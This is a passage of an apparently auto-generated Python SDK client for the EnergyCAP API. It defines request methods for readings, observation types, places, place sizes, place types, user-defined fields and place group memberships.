:type body: ~energycap.sdk.models.Reading
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: ReadingsObservation or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.ReadingsObservation or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.edit_single_reading.metadata['url']
path_format_arguments = {
'readingId': self._serialize.url("reading_id", reading_id, 'long')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'Reading')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('ReadingsObservation', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
edit_single_reading.metadata = {'url': '/api/v3/reading/{readingId}'}
def get_observation_types(
self, filter=None, custom_headers=None, raw=False, **operation_config):
"""Get the observation types for a given noun class code and/or noun code.
:param filter:
:type filter: str
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.ObservationTypeChild] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_observation_types.metadata['url']
# Construct parameters
query_parameters = {}
if filter is not None:
query_parameters['filter'] = self._serialize.query("filter", filter, 'str')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[ObservationTypeChild]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_observation_types.metadata = {'url': '/api/v3/observationtype'}
def get_place(
self, place_id, custom_headers=None, raw=False, **operation_config):
"""Retrieves one place.
:param place_id: The identifier for the place being retrieved
:type place_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: PlaceResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.PlaceResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_place.metadata['url']
path_format_arguments = {
'placeId': self._serialize.url("place_id", place_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('PlaceResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_place.metadata = {'url': '/api/v3/place/{placeId}'}
def edit_place(
self, place_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Edits a place.
:param place_id: The identifier for the place being edited
:type place_id: int
:param body: Data representing the place being edited
:type body: ~energycap.sdk.models.PlaceEdit
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: PlaceResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.PlaceResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.edit_place.metadata['url']
path_format_arguments = {
'placeId': self._serialize.url("place_id", place_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'PlaceEdit')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('PlaceResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
edit_place.metadata = {'url': '/api/v3/place/{placeId}'}
def delete_place(
self, place_id, custom_headers=None, raw=False, **operation_config):
"""Deletes a place.
:param place_id: The identifier for the place being deleted
:type place_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.delete_place.metadata['url']
path_format_arguments = {
'placeId': self._serialize.url("place_id", place_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.delete(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [204]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
delete_place.metadata = {'url': '/api/v3/place/{placeId}'}
def get_places(
self, filter=None, page_size=None, page_number=None, custom_headers=None, raw=False, **operation_config):
"""Retrieves all places.
:param filter:
:type filter: str
:param page_size: The number of elements to return in a page
:type page_size: int
:param page_number: The current page number
:type page_number: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.PlaceResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_places.metadata['url']
# Construct parameters
query_parameters = {}
if filter is not None:
query_parameters['filter'] = self._serialize.query("filter", filter, 'str')
if page_size is not None:
query_parameters['pageSize'] = self._serialize.query("page_size", page_size, 'int')
if page_number is not None:
query_parameters['pageNumber'] = self._serialize.query("page_number", page_number, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
header_dict = {}
if response.status_code == 200:
deserialized = self._deserialize('[PlaceResponse]', response)
header_dict = {
'PageNumber': 'int',
'TotalPages': 'int',
'PageSize': 'int',
'TotalNumberOfRecords': 'int',
}
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
client_raw_response.add_headers(header_dict)
return client_raw_response
return deserialized
get_places.metadata = {'url': '/api/v3/place'}
def create_place(
self, body=None, custom_headers=None, raw=False, **operation_config):
"""Creates a place.
:param body: Data representing the place being created
:type body: ~energycap.sdk.models.PlaceCreate
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: PlaceResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.PlaceResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.create_place.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'PlaceCreate')
else:
body_content = None
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('PlaceResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
create_place.metadata = {'url': '/api/v3/place'}
def edit_place_ud_fs(
self, place_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Edits user defined field / custom field values for a particular place.
:param place_id: The identifier for the place
:type place_id: int
:param body: Data representing the place user defined fields / custom
fields being edited
:type body: list[~energycap.sdk.models.UDFValue]
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.UDFFieldChild] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.edit_place_ud_fs.metadata['url']
path_format_arguments = {
'placeId': self._serialize.url("place_id", place_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, '[UDFValue]')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[UDFFieldChild]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
edit_place_ud_fs.metadata = {'url': '/api/v3/place/{placeId}/udf'}
def get_place_udfs(
self, place_id, custom_headers=None, raw=False, **operation_config):
"""Retrieves all user defined fields / custom fields for a particular
place.
:param place_id: The place identifier for which user defined field /
custom field values are being retrieved
:type place_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.UDFFieldChild] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_place_udfs.metadata['url']
path_format_arguments = {
'placeId': self._serialize.url("place_id", place_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[UDFFieldChild]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_place_udfs.metadata = {'url': '/api/v3/place/{placeId}/udf'}
def get_place_sizes(
self, place_id, custom_headers=None, raw=False, **operation_config):
"""Retrieves all place size records for a particular place.
:param place_id: The identifier for the place being retrieved
:type place_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.PlaceSizeChild] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_place_sizes.metadata['url']
path_format_arguments = {
'placeId': self._serialize.url("place_id", place_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[PlaceSizeChild]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_place_sizes.metadata = {'url': '/api/v3/place/{placeId}/size'}
def create_place_size(
self, place_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Creates a place size version
If a preceding place size version exists, the preceding record's end
date will be changed to match the created record's begin date
If a succeeding place size version exists the created records end date
will match the succeeding version's begin date.
:param place_id: The identifier of the place to add a place size to
:type place_id: int
:param body: Data representing the place size being created
:type body: ~energycap.sdk.models.PlaceSizeCreate
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: PlaceSizeChild or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.PlaceSizeChild or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.create_place_size.metadata['url']
path_format_arguments = {
'placeId': self._serialize.url("place_id", place_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'PlaceSizeCreate')
else:
body_content = None
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('PlaceSizeChild', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
create_place_size.metadata = {'url': '/api/v3/place/{placeId}/size'}
def edit_place_size_list(
self, place_id, body=None, custom_headers=None, raw=False, **operation_config):
"""API endpoint which takes care of Create, Edit and Delete of new place
sizes in bulk.
:param place_id: The identifier of the place
:type place_id: int
:param body: Data representing the place size being created
:type body: list[~energycap.sdk.models.PlaceSizeCreate]
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.PlaceSizeChild] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.edit_place_size_list.metadata['url']
path_format_arguments = {
'placeId': self._serialize.url("place_id", place_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, '[PlaceSizeCreate]')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[PlaceSizeChild]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
edit_place_size_list.metadata = {'url': '/api/v3/place/{placeId}/size'}
def get_place_size(
self, place_id, place_size_id, custom_headers=None, raw=False, **operation_config):
"""Retrieves a place size record for a particular place.
:param place_id: The identifier for the place being retrieved
:type place_id: int
:param place_size_id: The identifier for the place size being
retrieved
:type place_size_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: PlaceSizeChild or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.PlaceSizeChild or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_place_size.metadata['url']
path_format_arguments = {
'placeId': self._serialize.url("place_id", place_id, 'int'),
'placeSizeId': self._serialize.url("place_size_id", place_size_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('PlaceSizeChild', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_place_size.metadata = {'url': '/api/v3/place/{placeId}/size/{placeSizeId}'}
def delete_place_size(
self, place_id, place_size_id, custom_headers=None, raw=False, **operation_config):
"""Delete a place size version
The preceding version's end date will be shifted to the deleted
record's end date to prevent any gaps.
:param place_id: The identifier of the place
:type place_id: int
:param place_size_id: The identifier of the place size
:type place_size_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.delete_place_size.metadata['url']
path_format_arguments = {
'placeId': self._serialize.url("place_id", place_id, 'int'),
'placeSizeId': self._serialize.url("place_size_id", place_size_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.delete(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [204]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
delete_place_size.metadata = {'url': '/api/v3/place/{placeId}/size/{placeSizeId}'}
def get_place_types(
self, filter=None, custom_headers=None, raw=False, **operation_config):
"""Retrieves all place types.
:param filter:
:type filter: str
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.PlaceTypeResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_place_types.metadata['url']
# Construct parameters
query_parameters = {}
if filter is not None:
query_parameters['filter'] = self._serialize.query("filter", filter, 'str')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[PlaceTypeResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_place_types.metadata = {'url': '/api/v3/place/placetype'}
def create_place_type(
self, body=None, custom_headers=None, raw=False, **operation_config):
"""Create a place type.
New place types will not be considered structures.
:param body: Definition of new place type
:type body: ~energycap.sdk.models.PlaceTypeRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: PlaceTypeResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.PlaceTypeResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.create_place_type.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'PlaceTypeRequest')
else:
body_content = None
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('PlaceTypeResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
create_place_type.metadata = {'url': '/api/v3/place/placetype'}
def get_place_type(
self, place_type_id, custom_headers=None, raw=False, **operation_config):
"""Retrieves one place type.
:param place_type_id: Unique identifier for the place type
:type place_type_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: PlaceTypeResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.PlaceTypeResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_place_type.metadata['url']
path_format_arguments = {
'placeTypeId': self._serialize.url("place_type_id", place_type_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('PlaceTypeResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_place_type.metadata = {'url': '/api/v3/place/placetype/{placeTypeId}'}
def edit_place_type(
self, place_type_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Edit a current place type.
:param place_type_id: Unique identifier for the place type
:type place_type_id: int
:param body: Definition of new place type
:type body: ~energycap.sdk.models.PlaceTypeRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: PlaceTypeResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.PlaceTypeResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.edit_place_type.metadata['url']
path_format_arguments = {
'placeTypeId': self._serialize.url("place_type_id", place_type_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'PlaceTypeRequest')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('PlaceTypeResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
edit_place_type.metadata = {'url': '/api/v3/place/placetype/{placeTypeId}'}
def delete_place_type(
self, place_type_id, custom_headers=None, raw=False, **operation_config):
"""Deletes the place type.
:param place_type_id: Unique identifier for the place type
:type place_type_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.delete_place_type.metadata['url']
path_format_arguments = {
'placeTypeId': self._serialize.url("place_type_id", place_type_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.delete(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [204]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
delete_place_type.metadata = {'url': '/api/v3/place/placetype/{placeTypeId}'}
def get_places_udfs(
self, filter=None, page_size=None, page_number=None, custom_headers=None, raw=False, **operation_config):
"""Retrieves all user defined fields / custom fields for all places.
:param filter:
:type filter: str
:param page_size: The number of elements to return in a page
:type page_size: int
:param page_number: The current page number
:type page_number: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.PlaceUDFResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_places_udfs.metadata['url']
# Construct parameters
query_parameters = {}
if filter is not None:
query_parameters['filter'] = self._serialize.query("filter", filter, 'str')
if page_size is not None:
query_parameters['pageSize'] = self._serialize.query("page_size", page_size, 'int')
if page_number is not None:
query_parameters['pageNumber'] = self._serialize.query("page_number", page_number, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
header_dict = {}
if response.status_code == 200:
deserialized = self._deserialize('[PlaceUDFResponse]', response)
header_dict = {
'PageNumber': 'int',
'TotalPages': 'int',
'PageSize': 'int',
'TotalNumberOfRecords': 'int',
}
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
client_raw_response.add_headers(header_dict)
return client_raw_response
return deserialized
get_places_udfs.metadata = {'url': '/api/v3/place/udf'}
def get_place_groups(
self, place_id, custom_headers=None, raw=False, **operation_config):
"""Retrieves all Place Groups for a particular place by placeId.
:param place_id: The place identifier for which group values are being
retrieved
:type place_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.PlaceGroupResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_place_groups.metadata['url']
path_format_arguments = {
'placeId': self._serialize.url("place_id", place_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[PlaceGroupResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_place_groups.metadata = {'url': '/api/v3/place/{placeId}/group'}
def edit_place_group_membership(
self, place_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Edits a place's group memberships.
Note that all groups a place should belong to must be passed in.
Passing in one group means that the place will belong to one group
only,
even if it previously belonged to several.
Only manual groups assignments can be changed; auto groups are
unaffected.
:param place_id: The place identifier whose group memberships are
being edited
:type place_id: int
:param body: The groups the place will belong to
:type body: list[~energycap.sdk.models.PlaceGroupMember]
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.PlaceGroupResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.edit_place_group_membership.metadata['url']
path_format_arguments = {
'placeId': self._serialize.url("place_id", place_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, '[PlaceGroupMember]')
else:
